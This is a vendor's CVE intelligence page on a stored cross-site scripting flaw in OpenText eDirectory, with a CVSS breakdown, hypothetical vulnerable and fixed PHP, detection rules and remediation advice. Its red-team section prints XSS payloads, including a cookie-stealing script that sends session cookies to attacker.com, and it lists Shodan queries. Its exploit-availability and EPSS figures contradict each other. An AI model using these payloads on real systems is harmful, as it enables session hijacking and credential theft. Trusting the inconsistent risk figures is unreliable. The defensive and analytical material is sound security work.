☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-38131

CVE-2021-38131 Cross-Site Scripting in Opentext
📅 PUBLISHED: 2024-09-12 12:42 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-38131 is a stored Cross-Site Scripting (XSS) vulnerability discovered in OpenText™ eDirectory version 9.2.5.0000. The vulnerability allows an attacker to inject malicious scripts into web pages served by the eDirectory management interface, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.4 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept (PoC) or exploit code has been released, and no patch details are available from OSV or GitHub. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary OpenText eDirectory software, which is typically deployed in enterprise environments for identity and access management.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
  • Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The lack of public exploits and low EPSS score reduces immediate risk, but the potential for credential theft and session hijacking in enterprise environments warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the eDirectory web administration interface, where user-supplied input is not properly sanitized before being reflected in web pages. An attacker can craft a malicious URL or inject script code into a field (e.g., username, description) that is later rendered without encoding. When an administrator or user views the affected page, the injected script executes in their browser context.

Root Cause: The application fails to escape HTML entities in user-controlled input before rendering it in the HTTP response. This allows arbitrary JavaScript execution.

Attack Vector: The attacker must convince a user (typically an administrator) to click a crafted link or submit a form containing the malicious payload. The script then executes with the privileges of the victim, potentially allowing the attacker to steal session cookies, perform actions on behalf of the user, or deface the interface.

Impact: Successful exploitation could lead to:

  • Session hijacking (stealing admin session cookies)
  • Credential theft via phishing overlays
  • Defacement of the eDirectory management console
  • Lateral movement within the network if the admin account is compromised

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on typical XSS fixes.

Vulnerable Code (eDirectory 9.2.5.0000):

// Example: Displaying user input without sanitization
echo "<div>Welcome, " . $_GET['username'] . "</div>";

Patched Code (Hypothetical):

// Example: Using htmlspecialchars to escape output
echo "<div>Welcome, " . htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8') . "</div>";

The fix involves proper output encoding using functions like htmlspecialchars() or htmlentities() in PHP, or equivalent in other languages, to prevent script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to a vulnerable eDirectory instance (version 9.2.5.0000)
  • Ability to craft a malicious URL or inject payload into a stored field

Step-by-Step Exploitation:

  1. Identify Injection Point: Locate a field in the eDirectory web interface that reflects user input (e.g., search box, user profile fields).
  2. Craft Payload: Use a simple XSS payload such as:
    <script>alert('XSS')</script>
    
  3. Deliver Payload: Send the crafted URL to an administrator via email or social engineering, or inject the payload into a stored field (e.g., user description).
  4. Execute: When the victim views the page, the script executes. For session hijacking, use:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    

Lab Setup:

  • Deploy OpenText eDirectory 9.2.5.0000 in a controlled environment (e.g., Docker or VM).
  • Use a web browser with developer tools to inspect reflected input.
  • Set up a listener (e.g., Netcat) to capture exfiltrated cookies.

Blue Team (Defender)

Detection Steps:

  1. Monitor Web Logs: Look for unusual parameters containing <script>, onerror, or javascript: in HTTP requests.
  2. Review User Input: Check for unexpected HTML tags in user profile fields or search queries.
  3. Use WAF Rules: Deploy Web Application Firewall (WAF) rules to block common XSS patterns.
  4. Conduct Code Review: If source code is available, audit all output points for proper encoding.

Mitigation:

  • Apply input validation and output encoding.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing <script> tags or onerror handlers in parameters.
    • Outbound connections to unknown IPs or domains from eDirectory servers.
  • File IOCs:
    • Modified web pages with injected JavaScript.
    • Suspicious entries in eDirectory logs (e.g., XSS or script in user fields).
  • Behavioral IOCs:
    • Unexpected redirects or pop-ups in the eDirectory interface.
    • Unauthorized changes to user accounts or configurations.

Detection Engineering

YARA Rule

rule Detect_XSS_in_eDirectory {
    meta:
        description = "Detects potential XSS payloads in eDirectory logs or web responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-38131"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: XSS Attempt in eDirectory Web Interface
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attacks against OpenText eDirectory
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin interfaces (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-38131 XSS Attempt in eDirectory"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Patch: Apply the official patch from OpenText when available. Monitor the vendor's security advisory page.
  2. Workaround: If patching is not possible, restrict access to the eDirectory web interface using firewall rules or VPN.
  3. Input Validation: Implement strict input validation on all user-supplied fields.
  4. Output Encoding: Ensure all user data is HTML-encoded before rendering.
  5. CSP Header: Add a Content Security Policy header to block inline scripts:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    
  6. WAF: Deploy a Web Application Firewall with XSS protection rules.
  7. Monitoring: Enable detailed logging and alert on suspicious patterns.

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

eDirectory
OpenText eDirectory
eDirectory 9.2.5

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-38131/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.